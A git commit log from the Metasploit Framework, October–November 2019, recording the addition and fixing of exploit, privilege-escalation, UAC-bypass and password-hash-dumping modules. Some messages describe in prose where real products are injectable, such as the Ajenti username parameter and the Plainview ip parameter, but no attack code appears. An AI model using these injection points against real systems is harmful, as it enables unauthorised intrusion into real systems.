William Vu 8df559eceb Update print to warning 2019-11-12 02:09:43 -06:00
Tim W 6ac4d9ca33 skip if no -wal and -shm exists, and remove salt length check 2019-11-12 16:07:37 +08:00
wvu-r7 0c4580f254 Calibrate timeout for hax
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-12 02:03:52 -06:00
William Vu de72ed8545 Print our glorious success 2019-11-12 02:02:53 -06:00
William Vu 238c931fd3 Don't fail module if blocking through timeout 2019-11-12 01:55:56 -06:00
William Vu d8e612726c Note that an admin SID is required at present 2019-11-12 01:46:23 -06:00
William Vu 1573664c78 Reduce timeout for when the shell pops 2019-11-12 01:41:19 -06:00
Tim W da3f298a9b fallback to settings.db if locksettings.db does not exist 2019-11-12 15:40:28 +08:00
William Vu bc5b0645dd Fix typo 2019-11-12 01:25:36 -06:00
William Vu 2c6c46701c Update DefaultOptions 2019-11-12 01:23:53 -06:00
William Vu 8664ac9dd8 Add target print 2019-11-12 01:17:28 -06:00
William Vu e9fb4a2528 Check for nil
Oops.
2019-11-12 01:10:26 -06:00
William Vu f4c7690247 Print cmd/unix/generic command output, minus HTML 2019-11-12 01:08:56 -06:00
William Vu 09901fdf56 Clarify session cookie could be invalid 2019-11-12 01:08:25 -06:00
William Vu 5b825e8245 Readd cmd/unix/generic target with manual badchars 2019-11-12 01:08:09 -06:00
Metasploit 2a02c6b318 automatic module_metadata_base.json update 2019-11-11 17:49:45 -06:00
William Vu 22da634ddc Land #12553, Meltdown fix for BlueKeep exploit 2019-11-11 17:33:52 -06:00
William Vu 4f2cab4cf1 Add references 2019-11-11 17:33:10 -06:00
Metasploit 70a3aab8ac automatic module_metadata_base.json update 2019-11-11 15:55:53 -06:00
bwatters-r7 3b57705a1f Land #11390, Add exploit module for Xorg X11 Server Local Privilege Escalation on AIX
Merge branch 'land-11390' into upstream-master
2019-11-11 15:42:54 -06:00
Wei Chen 717a31c7c3 Fix typos and format 2019-11-11 14:47:56 -06:00
bwatters-r7 820aa4f46c Update documents with vimeo video example and update SideEffects value
in the module cache.
2019-11-11 14:28:07 -06:00
Shelby Pace d1e9538f9c use stager_name 2019-11-11 09:32:28 -06:00
Shelby Pace 7d5deafcee add check for cipher 2019-11-11 09:11:51 -06:00
bwatters-r7 ef6ae90ca6 Add case statement for admin check 2019-11-11 09:00:11 -06:00
William Vu b6b131e808 Land #12556, 64K ought to be enough for anyone 2019-11-10 21:25:48 -06:00
Nicholas Starke 986b1dfbd5 Addressing comments on pull request
I have updated this module as per the comments left on the pull request.
This includes adding a timeout configuration option and adding a check
for the webSocketDebuggerUrl key
2019-11-10 15:43:01 -06:00
Brendan Coles d172534417 64K ought to be enough for anyone 2019-11-10 09:49:49 +00:00
lle-bout 1d7cdac421 Add Wordpress Plainview Activity Monitor RCE
Description:

```
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.
```
2019-11-10 08:27:45 +01:00
h00die f8ef7a8db9 add crack_mobile, handle negative hashes 2019-11-09 15:55:53 -05:00
Wyatt Dahlenburg a2aba34112 Trimmed test_keys method 2019-11-09 12:00:22 -06:00
h00die f27afeae65 android hashdump docs 2019-11-09 10:11:45 -05:00
h00die 6d23059cc0 android hashdump updates 2019-11-09 10:11:45 -05:00
h00die 389f269dcd first test of android hashdumper 2019-11-09 10:09:18 -05:00
zerosum0x0 01d84c5654 remove syscall hook 2019-11-08 19:44:52 -07:00
John Kollross 12fb919fee Merge pull request #1 from rapid7/master
update
2019-11-08 10:36:45 -06:00
Shelby Pace 8b5260f6ab use OptEnum for optimization level 2019-11-08 08:58:56 -06:00
Metasploit a72067ced5 automatic module_metadata_base.json update 2019-11-07 21:32:19 -06:00
Jeffrey Martin eb07305104 Land #11695, Password Cracker Overhaul(ie hashcat) 2019-11-07 19:09:52 -06:00
Christophe De La Fuente 94939837e0 Land #12550, update .mailmap
Add @adamgalway-r7 contact details to the mailmap
2019-11-07 23:25:40 +01:00
Shelby Pace bfa27e6bed add flag, use DefaultOptions for linker script 2019-11-07 15:33:31 -06:00
bwatters-r7 f426206246 update code from bcoles suggestions. 2019-11-07 15:30:53 -06:00
Metasploit e46b5dc701 Bump version of framework to 5.0.60 2019-11-07 12:19:38 -06:00
Shelby Pace 1a88e7610b add optimization flag, use basename method 2019-11-07 10:46:57 -06:00
William Vu a1bbc86cd0 Land #12547, null-pointer-deref.txt update to MSF5 2019-11-07 10:14:55 -06:00
Metasploit db87cb72ef automatic module_metadata_base.json update 2019-11-07 10:09:03 -06:00
Dustin f1a6d3924e Update metasploit-framework.gemspec
Set minimum `v2.5`

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-07 11:07:43 -05:00
William Vu 2b3c2b6af5 Land #12535, module traits for some local exploits 2019-11-07 10:00:39 -06:00
William Vu d34dd39e6a Land #12522, THREADS clarification 2019-11-07 09:58:19 -06:00
William Vu dedbd616c8 Fix wording 2019-11-07 09:57:39 -06:00
Adam Galway ff8ba05ef1 Add my contact details to the mailmap 2019-11-07 14:21:10 +00:00
Francesco Soncina 2549de809d fix bug in PID check 2019-11-07 12:57:05 +01:00
Metasploit a55fde4ae5 automatic module_metadata_base.json update 2019-11-07 04:25:11 -06:00
h00die 9cf62d02f9 land #12492 coldfusion rds updates 2019-11-07 05:16:29 -05:00
Jeff McJunkin 8b462083be Update banner for MSF5 2019-11-07 20:47:44 +11:00
Metasploit ef01eafa6b automatic module_metadata_base.json update 2019-11-06 21:01:06 -06:00
dwelch-r7 876a307816 Land #9396, Linux net snmpd rw access 2019-11-07 02:52:47 +00:00
Metasploit 0966efce7e automatic module_metadata_base.json update 2019-11-06 20:36:10 -06:00
h00die 0b750c96e4 land #12546 gemfile.lock fix 2019-11-06 21:27:38 -05:00
h00die 6b472b68f8 remove merge conflict marks 2019-11-06 21:20:19 -05:00
h00die f0443deb2a resolved merge conflicts for payload 1.3.79 integration 2019-11-06 21:15:11 -05:00
h00die 381963e246 update payloads to 1.3.79 2019-11-06 21:12:50 -05:00
dwelch-r7 2ab1b9071f remove unsupported check 2019-11-07 01:34:16 +00:00
dwelch-r7 61dc3ad487 Replace manual escaping with shellescape function 2019-11-07 01:33:42 +00:00
Metasploit e8e7539863 automatic module_metadata_base.json update 2019-11-06 13:54:12 -06:00
Shelby Pace 3d14b88a50 Land #12507, add rConfig Command Injection module 2019-11-06 13:45:15 -06:00
Shelby Pace a337567101 add check method 2019-11-06 12:40:45 -06:00
Brent Cook e9b36520c5 Land #12495, add Android module docs 2019-11-06 08:39:01 -08:00
Brent Cook 740687c2fa capitalize Android 2019-11-06 08:28:35 -08:00
layderv 247546f96d Fix: auxiliary/kerberos_enumusers stops after first match 2019-11-06 09:46:24 +00:00
Francesco Soncina 9a93ce8b79 Merge pull request #2 from timwr/fix_webdelivery
remove unnecessary override
2019-11-06 09:46:36 +01:00
Brendan Coles 706bb89777 Add cmd/unix/bind_jjs payload 2019-11-06 07:58:31 +00:00
Brendan Coles 19dba2f243 Add cmd/unix/reverse_jjs payload 2019-11-06 07:57:46 +00:00
Tim W 55ebfe6c2d remove unnecessary override 2019-11-06 15:27:40 +08:00
Tim W 5711effa24 update comments 2019-11-06 14:59:49 +08:00
h00die 06f7027fd8 udapted docs 2019-11-06 15:57:33 +09:00
Loïc Jaquemet 818a5ab164 Update modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb
as per suggested fix

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-05 21:45:05 -07:00
Shelby Pace f898c73e49 add module skeleton 2019-11-05 11:27:35 -06:00
William Vu 5235759187 Merge remote-tracking branch 'upstream/master' into pr/12220 2019-11-05 09:56:38 -06:00
Wei Chen 553601210a Add CVE-2019-16113: Bludit Directory Traversal Image Upload Exploit 2019-11-05 08:57:15 -06:00
Francesco Soncina a449941615 use PSH-EncodedCommand for EncodedCommand in launcher
Since `Powershell::encode_final_payload` and `Powershell::encode_inner_payload` are already used in `cmd_psh_payload`, so it's better to have a dedicated option for the encoded launcher.
2019-11-05 13:12:00 +01:00
Francesco Soncina 12c92342ef Use DefaultOptions instead of redefining them 2019-11-05 12:54:29 +01:00
Tim W 812409a491 Use a random apk name 2019-11-05 15:55:20 +08:00
Adam Cammack f4cea619e8 Land #12510, Option to allow partial HTTP response 2019-11-05 01:34:54 -06:00
Francesco Soncina bbe36ebfee remove debug prints 2019-11-05 00:25:55 +01:00
Francesco Soncina 53ee43bccb Update web_delivery.rb 2019-11-05 00:24:47 +01:00
Francesco Soncina 927264e3e5 Update powershell.rb 2019-11-05 00:23:43 +01:00
h00die 7620cefca4 start of janus table 2019-11-04 23:31:45 +09:00
h00die cb1caaca94 add cleanup 2019-11-04 23:31:45 +09:00
h00die 4f2fab797f janus upgrades 2019-11-04 23:31:45 +09:00
Dustin Eichler 154719854e Set minimum ruby version 2019-11-03 09:46:47 -05:00
Brendan Coles 38498305d3 Add module notes for Reliability and Stability 2019-11-03 00:33:24 +00:00
scanu92 1ae2f66c7c Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:33:17 +01:00
scanu92 8a3f7a6b21 Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:55 +01:00
scanu92 1850cfd0c1 Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:32 +01:00
scanu92 a307f4f41a Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:10 +01:00
scanu92 1a4777670b Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:30:18 +01:00
Brendan Coles 6dc94bbca9 Update documentation 2019-11-02 22:37:56 +00:00
Brendan Coles f5afbe7104 Update documentation 2019-11-02 22:35:58 +00:00
Brendan Coles 0d1dd242ea Fix typos 2019-11-02 22:09:23 +00:00
Brendan Coles e0faff6944 Add documentation 2019-11-02 22:03:10 +00:00
Brendan Coles f239b5db8f Add FreeSWITCH Event Socket Command Execution 2019-11-02 22:03:02 +00:00
scanu92 632e423236 Update cmsms_object_injection_rce.rb 2019-11-02 21:31:08 +01:00
scanu92 33303746f8 Update cmsms_object_injection_rce.rb 2019-11-02 21:29:38 +01:00
Cristina Muñoz 9dfd325f42 Merge branch 'python3' of github.com:xmunoz/metasploit-framework into python3 2019-11-01 19:24:56 -07:00
Cristina Muñoz 311b03af93 Action remainder of code review changes.
- Revert files that will only run as python2.
- Remove superfluous calls to list()
- Other minor cleanup
2019-11-01 19:24:22 -07:00
Cristina c9948c037d Apply suggestions from code review
- Change executable in shebang from python3 to python
- Revert changes to files that will only run as python2

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-01 19:20:22 -07:00
Brendan Coles 89b277c360 Add documentation 2019-11-01 23:38:59 +00:00
Brendan Coles c2b40d2924 Add FusionPBX Command exec.php Command Execution 2019-11-01 23:38:51 +00:00
Brendan Coles 9346013974 Use bg_system API command 2019-11-01 22:17:26 +00:00
bcoles 705b206c92 bsd 2019-11-02 08:54:04 +11:00
Brendan Coles 08d51acd18 Update targets 2019-11-01 20:33:23 +00:00
Brendan Coles 73a8381639 Add documentation 2019-11-01 20:12:03 +00:00
Brendan Coles 1e3705e47d Add FusionPBX Operator Panel exec.php Command Execution 2019-11-01 20:11:55 +00:00
Brent Cook f21bcaede9 Land #12463, Fix delimiter selection on powershell payload commands 2019-11-01 11:12:24 -05:00
William Vu c9cc8c547f Remove "now" from moved_from message
It's confusing to the user, since they think the prompt will change.
Thanks, @h00die.
2019-11-01 10:22:40 -05:00
Shelby Pace f6ef34b886 remove sleep 2019-11-01 09:26:04 -05:00
scanu92 beffab0787 Update cmsms_object_injection_rce.rb 2019-11-01 15:26:02 +01:00
Francesco Soncina 099054ded2 Update powershell.rb 2019-11-01 15:19:36 +01:00
scanu92 7cc1175287 Update cmsms_object_injection_rce.rb
Add NormalRanking to cmsms_object_injection_rce module
2019-11-01 15:15:49 +01:00
Shelby Pace 1717001be1 attribution 2019-11-01 09:01:14 -05:00
sk4 af0761bcfd Add CMS Made Simple object injection exploit module 2019-11-01 12:11:38 +01:00
Metasploit bf9a891bfe automatic module_metadata_base.json update 2019-11-01 03:08:12 -05:00
Brendan Coles 294cbcffb6 Land #12382, Add Linux Micro Focus (HPE) Data Protector omniresolve Privesc (CVE-2019-11660) 2019-11-01 08:06:01 +00:00
bcoles b08e031863 Update module description 2019-11-01 17:11:33 +11:00
bcoles c6e739c76d Code cleanup 2019-11-01 16:30:37 +11:00
Cristina Muñoz 10b5df1c4f Change all python2.7 shebangs to python3.
Remove utf-8 encoding declarations, as this is the default for python3.
2019-10-31 15:10:58 -07:00
Cristina Muñoz 8563a29003 Convert all python code to python3. Fixes #12506. 2019-10-31 14:16:14 -07:00
Shelby Pace be07ded3fa handle stderr and stdout from compilation 2019-10-31 16:09:44 -05:00
Clément Notin 38c09b8aa3 Scanner modules: explain limitation of THREADS option
Closes #12521
2019-10-31 19:26:45 +01:00
William Vu 128b9cd44b Reword related module info 2019-10-31 13:07:41 -05:00
William Vu df535676a7 Add related module info 2019-10-31 12:48:52 -05:00
William Vu f302df31aa Add note about opts['headers'] 2019-10-31 12:24:04 -05:00
William Vu ce656a850a Update raw_headers 2019-10-31 12:16:31 -05:00
Metasploit 26748dc0ac Bump version of framework to 5.0.59 2019-10-31 12:08:26 -05:00
Shelby Pace 8bb1c5102b opt for inline asm instead of pre-compiled object 2019-10-31 11:55:40 -05:00
William Vu 866a1c9bed Fix Boolean validation to match our idiom 2019-10-31 11:29:43 -05:00
William Vu b9baa80823 Refactor to use config hash and new option 2019-10-31 11:11:43 -05:00
Francesco Soncina d17f041dbd fix inner payload for web_delivery 2019-10-31 16:29:56 +01:00
Francesco Soncina 9fc2df5ea8 move force_tls12 to rex-powershell 2019-10-31 16:28:59 +01:00
William Vu f5ce31519c Fix style, once more with feeling 2019-10-31 09:59:35 -05:00
wvu-r7 dc62ea080b Fix style
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-31 09:54:18 -05:00
Metasploit 641ecb65ca automatic module_metadata_base.json update 2019-10-31 08:33:31 -05:00
Shelby Pace 0b4a0b3148 Land #12476, add Nostromo dir traversal RCE 2019-10-31 08:24:41 -05:00
Shelby Pace 99fd254348 add reference 2019-10-31 08:23:57 -05:00
Quentin Kaiser 4a6c1d824b Merge branch 'CVE-2019-16278' of github.com:QKaiser/metasploit-framework into CVE-2019-16278 2019-10-31 10:26:16 +01:00
Quentin Kaiser ca81793860 Forgot to put ForceExploit in registered options. 2019-10-31 10:25:26 +01:00
Christian Mehlmauer a36886301b Land #12513, migrate to alpine 3.10 and fix ruby reference 2019-10-31 08:20:29 +01:00
William Vu 81da0d18c6 Add blurb about pre-auth file read 2019-10-30 20:41:57 -05:00
bwatters-r7 340b73f3c6 Add Windows Escalate UAC Protection Bypass (Via dot net profiler) 2019-10-30 20:38:44 -05:00
William Vu f3a6aeea60 Add true post_auth? definition 2019-10-30 20:31:58 -05:00
William Vu 77c26e9a70 Add Pulse Secure VPN arbitrary command execution 2019-10-30 20:08:02 -05:00
William Vu a86388b53f Add module traits 2019-10-30 18:55:16 -05:00
ducksecops 2f26ddf156 Updated Dockerfile to Alpine 3.10 with Ruby 2.6.5 2019-10-30 22:16:03 +00:00
Quentin Kaiser a55c5c6765 Update documentation/modules/exploit/multi/http/nostromo_code_exec.md
s/Nostrom/Nostromo/

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-10-30 15:38:50 +01:00
William Vu ac7a28d91d Add module doc 2019-10-29 23:14:53 -05:00
William Vu 5d71af2dc5 Clarify dumped files are looted regardless 2019-10-29 23:10:57 -05:00
William Vu b55af213aa Set PRINT to true now that it's limited to manual 2019-10-29 22:59:26 -05:00
William Vu 1f5f720058 Rewrite module 2019-10-29 22:21:31 -05:00
William Vu 52ed19f5b8 Merge remote-tracking branch 'upstream/master' into pr/12220 2019-10-29 21:30:37 -05:00
William Vu b268feda73 Allow partial response due to timeout 2019-10-29 21:25:21 -05:00
Onur ER 379fb3b65c Targets version fixed 2019-10-29 23:04:42 +03:00
Onur ER e07289c71a Update Ajenti Command Injection module
Module name changed.
Removed space.
Check module issues fixed.
random_password moved into json_body.
2019-10-29 22:49:11 +03:00
Metasploit b7acbfe8b6 automatic module_metadata_base.json update 2019-10-29 14:36:15 -05:00
Brent Cook 5169744fd8 Land #12505, enhance grub_creds module from grub_password module 2019-10-29 14:28:43 -05:00
Onur ER 89e56cf26d Rename ajenti_login_rce.rb to ajenti_auth_username_cmd_exec.rb 2019-10-29 22:19:59 +03:00
Onur ER 9b9d3013a4 Module name changed.
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-29 22:18:36 +03:00
Metasploit 352e7a83ac Bump version of framework to 5.0.58 2019-10-29 14:09:13 -05:00
Adam Cammack de845214d1 Add module check result tracking to RPC API
This adds a few sets and a hash to the Msf::Simple::Framework that help
keep track of running checks and their eventual results.
2019-10-29 12:45:09 -05:00
Brendan Coles f3bc8580c0 Add documentation 2019-10-29 15:59:18 +00:00
Brendan Coles 5c17dc6a74 Add rConfig install Command Execution exploit 2019-10-29 15:53:59 +00:00
Quentin Kaiser f03f5e4904 Documentation updated based on latest module version. 2019-10-29 16:13:25 +01:00
Shelby Pace a04291678f add require, fix module context generate 2019-10-29 08:35:04 -05:00
Quentin Kaiser 0531dd7bb9 Hash rocket alignment. 2019-10-29 12:28:39 +01:00
Quentin Kaiser bc0c2bf721 check function rewrite. 2019-10-29 12:27:15 +01:00
Quentin Kaiser 436d6781c1 Fix description. 2019-10-29 12:25:01 +01:00
Quentin Kaiser b357db22cf Fix description. 2019-10-29 12:24:22 +01:00
Quentin Kaiser 8bbb33c483 Generic name. 2019-10-29 12:24:00 +01:00
Quentin Kaiser b6dd30302a Rewriting of command stager, based on exploits/unix/webapp/webmin_backdoor. 2019-10-29 12:23:19 +01:00
Brent Cook 04c3b68820 fix no-creds case, don't print table and creds unless we found some 2019-10-29 04:31:12 -05:00
Brent Cook 99ed2b7bf2 merge modules and documentation 2019-10-29 04:27:25 -05:00
Brent Cook 4abee63936 only loot config files with passwords 2019-10-29 04:18:08 -05:00
Brent Cook 4c1f117566 add auto targeting from grub.d and FILENAME option 2019-10-29 04:17:47 -05:00
Brent Cook 0ebcda3aaa merge credits 2019-10-29 04:17:26 -05:00
Brent Cook 4d8e9bad26 expand file list from grub_cred 2019-10-29 03:42:23 -05:00
Brent Cook bd76e1f2cb initial tidy pass w/rubocop 2019-10-29 03:42:01 -05:00
Metasploit 5543692f2b automatic module_metadata_base.json update 2019-10-29 03:36:02 -05:00
Brent Cook c6ecef3dc7 Merge #11426, other grub password extraction module 2019-10-29 03:34:36 -05:00
Brent Cook effc8cbe72 Land #12500, Use check_code.message, not .second 2019-10-29 03:26:38 -05:00
Shelby Pace f65c5a30b2 use SecureRandom, bail if no db present 2019-10-28 16:25:28 -05:00
Shelby Pace c9dc2141a0 use stdlib flag instead of nostartfiles 2019-10-28 16:06:21 -05:00
Shelby Pace 041b91961f handle nil nonce 2019-10-28 15:39:37 -05:00
Onur ER bbf405bf92 Added EDB number instead of url 2019-10-28 22:09:01 +03:00
Onur ER 5dea40f43b Added Ajenti 2.1.31 exploit
Ajenti is an open source, web-based control panel that can be used for a large variety of server management tasks. It can install packages and run commands, and you can view basic server information such as RAM in use, free disk space, etc. All this can be accessed from a web browser.

This module exploits a command injection in Ajenti <= 2.1.31.
By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
2019-10-28 21:39:13 +03:00
bwatters-r7 23e3bc3e96 Land #12502, Fix process migration on reverse_tcp meterpreter sessions w/ newer Ruby
Merge branch 'land-12502' into upstream-master
2019-10-28 08:11:31 -05:00
Brent Cook 6a9cc9b384 use the common method for enabling secure TLV channel 2019-10-28 06:25:51 -05:00
Brent Cook 4f33267db5 Wait for threads to exit after killing them. 2019-10-28 06:25:15 -05:00
Brendan Coles e9a7ceaf1c Use CheckCode.message - Fix #12499 2019-10-28 03:24:20 +00:00
William Vu ec0974222c Fix module title again 2019-10-27 11:48:50 -05:00
William Vu e010f48a3b Move module to coldfusion_rds_auth_bypass 2019-10-27 11:25:56 -05:00
William Vu 2cc5f23915 Fix module title 2019-10-27 11:25:40 -05:00
Brendan Coles 35fdd45770 Add BSD Dump Password Hashes documentation 2019-10-27 06:52:28 +00:00
Brendan Coles a27af6b631 Add BSD Dump Password Hashes module 2019-10-27 06:46:31 +00:00
h00die 57d7c8b6b2 android docs 2019-10-25 22:15:33 -04:00
bwatters-r7 3483c50a86 Add Windows backup system sdclt uac bypass module 2019-10-25 15:01:56 -05:00
Metasploit 7d6235e062 Bump version of framework to 5.0.57 2019-10-25 13:43:22 -05:00
bwatters-r7 326a2d2459 Land #12491, Update .mailmap
Merge branch 'land-12491' into upstream-master
2019-10-25 12:05:51 -05:00
bwatters-r7 315164b388 Land #12467, Bug Fix: nops generate '-s' option ignored
Merge branch 'land-12467' into upstream-master
2019-10-25 12:02:20 -05:00
Brent Cook c62f4598f8 Land #12482, Fix the default meterpreter prompt 2019-10-25 11:11:22 -04:00
Wyatt Dahlenburg d12fce600d Use regex instead of splitting strings 2019-10-25 09:50:53 -05:00
Christophe De La Fuente c37e2eaebb Update email mapping for @wvu 2019-10-25 13:08:06 +02:00
nil0x42 d7b629c858 Apply suggestions from code review
Co-Authored-By: Brendan <bwatters@rapid7.com>
2019-10-25 05:34:56 -03:00
William Vu a0d1f02fd1 Fix failed login check for ColdFusion 9.something
It was merely "ColdFusion Administrator" for the version I tested.
2019-10-24 17:07:45 -05:00
Wyatt Dahlenburg 44181d3261 Patched up @bcoles suggestions 2019-10-24 14:04:21 -05:00
Christophe De La Fuente 6c6ceb9297 Remove unused mapping for @wvu 2019-10-24 19:52:52 +02:00
Christophe De La Fuente 40d2d7356a Add mapping to .mailmap for cdelafuente-r7 2019-10-24 19:48:41 +02:00
Metasploit 519b75d4d3 Bump version of framework to 5.0.56 2019-10-24 12:06:04 -05:00
FenixH 72abac0683 Fix call to method in null object in rpc_creds method 2019-10-24 11:19:09 +02:00
Wyatt Dahlenburg 0dd2ce9f45 Ignore keys that have passphrases 2019-10-23 23:11:13 -05:00
h00die 47fcd52f65 Land #12456 aux scanner html title docs 2019-10-23 20:58:34 -04:00
h00die 1c9eb0f788 change < to &lt; to prevent md parsing 2019-10-23 20:57:54 -04:00
bwatters-r7 13b54efbfa We don't need no stinking regexes.... 2019-10-23 13:47:46 -05:00
Metasploit 31dc9197d7 automatic module_metadata_base.json update 2019-10-23 13:37:15 -05:00
Shelby Pace fcc9ad628c Land #12473, add xscreensaver log privesc 2019-10-23 13:27:45 -05:00
Metasploit 4c3abbae01 automatic module_metadata_base.json update 2019-10-23 12:47:24 -05:00
Wei Chen 50baaf4d9c Land #12464, Add ThinVNC Directory Traversal module 2019-10-23 12:39:20 -05:00
Wyatt Dahlenburg 32a5c68c6c Migrated Post module to auxiliary to check from a local machine 2019-10-23 11:32:38 -05:00
Matteo Cantoni 77840a8830 Small changes to the host_header_injection aux module 2019-10-23 16:29:04 +02:00
Metasploit b65e55f7e8 automatic module_metadata_base.json update 2019-10-23 09:01:45 -05:00
Brendan Coles 991ccdbda5 Land #12106, Add Linux PTRACE_TRACEME local root exploit 2019-10-23 14:01:14 +00:00
Loïc Jaquemet 622846d682 Assign RPORT directly in report_cred
Assign RPORT directly in report_cred, do not use temp `port` var
2019-10-23 07:30:06 -06:00
Tim W 8c93b219d1 fix compile.rb and rubocop 2019-10-23 20:54:42 +08:00
Tim W 7ff71819e9 add architecture check to check method 2019-10-23 20:38:55 +08:00
Tim W 3cb9f2d709 remove pointless upload_binary function 2019-10-23 20:28:13 +08:00
Tim W 3b5d0b98e7 add a basic check method using loginctl 2019-10-23 19:50:19 +08:00
Metasploit 0e8ed964db automatic module_metadata_base.json update 2019-10-23 01:55:48 -05:00
Tim W 94dd87b004 Land #12483, futex_requeue improvements 2019-10-23 14:47:56 +08:00
Tim W 7d25e321ef add some more comments 2019-10-23 14:45:32 +08:00
Brendan Coles ab9d1470d2 Use workaround for horrific command tokenisation 2019-10-23 06:37:30 +00:00
h00die 2d829f9d46 first upgrade on futex 2019-10-22 21:05:55 -04:00
Spencer McIntyre e771147046 Fix the default meterpreter prompt 2019-10-22 20:02:32 -04:00
Metasploit 92bf2a5067 automatic module_metadata_base.json update 2019-10-22 14:19:32 -05:00
Shelby Pace e8469dca93 Land #11025, add Xorg SUID Modulepath Privesc 2019-10-22 14:11:00 -05:00
Loïc Jaquemet f39a7f2a33 Remove space on empty line
Remove space on empty line
2019-10-22 12:14:03 -06:00
Loïc Jaquemet 22f9b4a732 define port from options
otherwise, L172 fails, as port (RPORT) is not defined
2019-10-22 11:57:02 -06:00
bwatters-r7 32e7787821 Clearly, I fail at ruby implicit returns
Changed the newline remove to a chomp in case the newline is not there
2019-10-22 11:51:00 -05:00
Shelby Pace 1ceaa1d7ba add documentation 2019-10-22 10:43:35 -05:00
Shelby Pace f4a54df262 change location of rescue, method name 2019-10-22 09:31:43 -05:00
Brendan Coles 39db3be145 Update tested versions 2019-10-22 06:35:57 +00:00
Shelby Pace 1fd09b6a81 add solaris targets and Metasm usage 2019-10-21 16:13:10 -05:00
Metasploit 166a20e7d5 automatic module_metadata_base.json update 2019-10-21 15:43:35 -05:00
William Vu 3565b0efb8 Land #12365, Total.js CMS widget creation RCE 2019-10-21 15:22:09 -05:00
Quentin Kaiser 295d609595 Add CVE-2019-16278 exploit documentation. 2019-10-21 21:15:04 +02:00
Metasploit 800c656fd7 automatic module_metadata_base.json update 2019-10-21 12:45:47 -05:00
Brent Cook 58b8990131 Land #12462, add post module to gather grub passwords 2019-10-21 12:35:52 -05:00
Brent Cook 99d55d6110 Land #12423, added docs for git_scanner and goahead_traversal module 2019-10-21 12:24:54 -05:00
bwatters-r7 ee282fe84c Land #12458, Refactor extended check messages
Merge branch 'land-12458' into upstream-master
2019-10-21 12:23:06 -05:00
Brent Cook 519c73dcb3 Land #12450, add docs for the heartbleed module 2019-10-21 12:21:53 -05:00
Brent Cook 100c0a7580 Land #12438, add support for custom Meterpreter prompts 2019-10-21 12:20:06 -05:00
Metasploit 8ca882ddd8 automatic module_metadata_base.json update 2019-10-21 11:13:35 -05:00
Quentin Kaiser d76ea0ca59 Initial module version for Nostromo RCE (CVE-2019-16278). 2019-10-21 18:11:44 +02:00
bwatters-r7 eaa752454b Land #12399, Add Urgent/11 vulnerability scanner
Merge branch 'land-12399' into upstream-master
2019-10-21 11:05:09 -05:00
Brent Cook cc8ed049c0 add module docs 2019-10-21 11:03:23 -05:00
Brent Cook be57b284a9 split more neatly, support commas 2019-10-21 10:43:28 -05:00
Matteo Cantoni 4d7f29993a Small changes to the brute_dirs aux module 2019-10-21 16:45:42 +02:00
Mustafa Çalap 647839d8b5 add more examples for http_title (#1)
add more examples for http_title
2019-10-21 10:14:00 +02:00
Brendan Coles cdf5ef5e2d Add documentation 2019-10-21 06:16:09 +00:00
Brendan Coles 84430c2a66 Add Solaris xscreensaver log Privilege Escalation module 2019-10-21 06:14:50 +00:00
Brent Cook 7cb683646f remove unused RPORT 2019-10-20 21:40:05 -05:00
Brent Cook def423c261 add RHOSTS support for multi-port 2019-10-20 21:37:55 -05:00
Brent Cook b1942bb9ec use probe socket for detection, pad TCP NOP explicitly 2019-10-20 21:31:33 -05:00
Brent Cook f68e574795 close sockets, do preflight check to avoid F+ 2019-10-20 20:26:16 -05:00
h00die 0fbf553a49 add more examples 2019-10-20 21:18:30 -04:00
Brent Cook d005c2d3ee malform packets more (once more with feeling), add report mixin for reporting 2019-10-20 20:00:56 -05:00
h00die f4e15b98ee Land #12454 docs for redis file upload 2019-10-20 20:35:56 -04:00
h00die c35554b37c redis doc touchup 2019-10-20 20:34:11 -04:00
sinn3r 7683ab4fc1 Land #12455, Add generate_random_c method to randomized compiler
Add generate_random_c method to randomized compiler
2019-10-18 15:51:19 -05:00
nil0x42 e48132d7df Bug Fix: nops generate '-s' option ignored
This error was trying to parse the contents of undefined '-c' option instead of '-s'.
Making impossible the definition of SaveRegisters from the console.

Step to reproduce:
`msfconsole -q -x 'use nop/x86/single_byte; generate -s esp 10; exit' | grep -v '0m' | tr -d '\n\\x+ ";' | rasm2 -b 32 -D -`
```asm
0x00000000   1                       0e  push cs
0x00000001   1                       d6  salc
0x00000002   1                       54  push esp
0x00000003   1                       f8  clc
0x00000004   1                       43  inc ebx
0x00000005   1                       56  push esi
0x00000006   1                       5a  pop edx
0x00000007   1                       56  push esi
0x00000008   1                       5a  pop edx
0x00000009   1                       44  inc esp
```
As we can see, 'inc esp', and some 'push/pop' instructions have been generated although having explicitly asked to save `esp` register through `generate` command.

This commit addresses this issue
2019-10-18 17:31:03 +00:00
William Vu b870cadb0f Reregister INTERFACE datastore option
In case configuration failed.
2019-10-18 12:08:45 -05:00
William Vu 3d08f7c746 Update DisclosureDate comment 2019-10-18 12:07:28 -05:00
William Vu 3c74bdd7ee Add CRASH_SAFE module trait to notes 2019-10-18 12:01:27 -05:00
Shelby Pace ca755843f1 remove call to generate_random_c 2019-10-18 11:06:40 -05:00
Adam Cammack 121a6fd0e7 Order matters sometimes
Since the constants are evaluated when they are declared, they need to
be after the new `#initialize` method since it sets the messages.
2019-10-18 10:57:16 -05:00
Shelby Pace 42b251be01 generate random c within compile_random_c 2019-10-18 08:28:25 -05:00
